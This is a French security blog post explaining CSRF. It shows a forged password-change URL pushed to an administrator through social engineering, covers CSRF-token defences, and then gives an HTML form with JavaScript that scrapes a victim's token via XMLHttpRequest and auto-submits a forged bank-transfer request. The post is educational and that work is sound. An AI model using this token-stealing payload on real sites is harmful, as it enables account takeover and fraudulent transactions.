Cross Site Request Forgery (CSRF)

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


La faille CSRF (Cross Site Request Forgery) est une faille web qui permet à un attaquant de faire exécuter une action à une personne ayant des droits supérieurs sans que celle-ci ne s’en rende compte.

Cette faille est souvent sous estimée et pourtant, suivant les cas, elle peut s’avérer fatale et je vais vous le montrer à l’aide d’une petite simulation.

I/ Exploitation d’une CSRF

Imaginez que la plateforme de modification de mot de passe de la NASA ressemble à ça :

1.png

Pour changer son mot de passe, l’administrateur n’aura qu’à remplir le formulaire et cliquez sur « Envoyez » qui se traduira par l’envoi d’une requête GET (bien que l’exploitation via la méthode POST soit aussi faisable) :

localhost/csrf/new_pass=n3W_p%40SSw0rd

2.png

Le souci c’est que nous en tant qu’attaquant nous savons que ce formulaire est vulnérable au CSRF. Par conséquent tout ce que nous avons à faire, c’est crafté la requête malicieuse :

localhost/csrf/new_pass=Mon_mdp_malicieux

Et inciter l’utilisateur administrateur (via Social Engineering) a l’exécuté ce qui aura pour conséquence de modifier le mot de passe de l’administrateur par la valeur « Mon_mdp_malicieux ». Une fois l’action réalisée, l’attaquant n’aura plus qu’à se connecter au compte « Administrateur » avec le mot de passe qu’il a lui même défini dans sa requête malicieuse.

Schématiquement voilà ce qu’il se passe :

3.png

Pour ce qui est du Social Engineering on pourra par exemple utiliser des outils tels que bitly qui raccourcissent les URL’s.

II/Comment s’en protéger

Une solution pourrait être d’obfusquer le fonctionnement de l’application. Si l’attaquant n’avait pas eu connaissance de la variable GET « new_pass » il n’aurait potentiellement pas pu crafter son URL malicieuse.

Mais cette obfuscation ne ferait que décourager les moins motivés. Pour empêcher réelement toutes exploitaions il faudra utiliser un token CSRF. Ce token devra être créé aléatoirement pour chaque utilisateur et stocké côté serveur dans une variable de sessions.

Il faudra ensuite l’implémenter dans le formulaire :

token

Et vérifier côté serveur que le token CSRF envoyé dans les données du formulaire correspond bien au token de sessions stocké côté serveur. Si c’est le cas alors la requête est validée sinon elle est annulée.

Mais ces protections ne seront malheureusement pas suffisantes sir l’application est vulnérable à un autre type d’attaque : les XSS !

III/ XSS into CSRF

Si une injection de code JavaScript est exploitable alors il sera assez aisé de récupérer le token CSRF de notre victime avant de l’incorporer dans notre requête malicieuse et ainsi usurper l’identité de la victime.

Le code ci-dessous exploite est un exemple d’exploitaion de cette vulnérabilité :

<!--Forumulaire utilisé lors de la CSRF-->
<form action="https://banque.com/virement.php" method="post" name="csrf" enctype="multipart/form-data">
	<!--Ensemble des champs à compléter-->
	<input id="nom" type="text" name="nom" value="d">
	<input id="status" type="text" name="status">
	<!--Le fameux token caché-->
	<input id="token" type="hidden" name="token" value="" />
	<!--Le bouton submit-->
	<button type="submit">PLS</button>
</form>

                //Ici nous allons nous servir de l'objet XMLHttpRequest qui permet d'envoyer des requêtes
                //Instanciation de l'objet requete
                requete = new XMLHttpRequest();

                //Ajout de la méthode, de la cible ainsi qu'un d'un booléan toujours à true (false étant déprécié) dont l'intérêt est de déclarer si la requête est synchrone ou asynchrone.
                requete.open("POST", "https://banque.com/virement.php?", true);

                //Ajout des header
                requete.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

                //Envoi de la requête 
                requete.send();

                //On récupère la réponse du serveur dans laquelle se trouve le jeton de l'admin. Ici il sera important de bien identifier le jeton c'est à dire savoir si c'est un hash sha1/2/256, md4/5 ou un nombre random... Tout dépend de la situation.
                token = (requete.responseText.match(/[abcdef0123456789]{32}/));

                //On insert la valeur obtenue dans le formulaire ci dessus.
                document.getElementById('token').setAttribute('value', token)

                //Et on envoie le formulaire avec le token de l'administrateur.
                document.csrf.submit();

Voilà voilà 😉 !

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s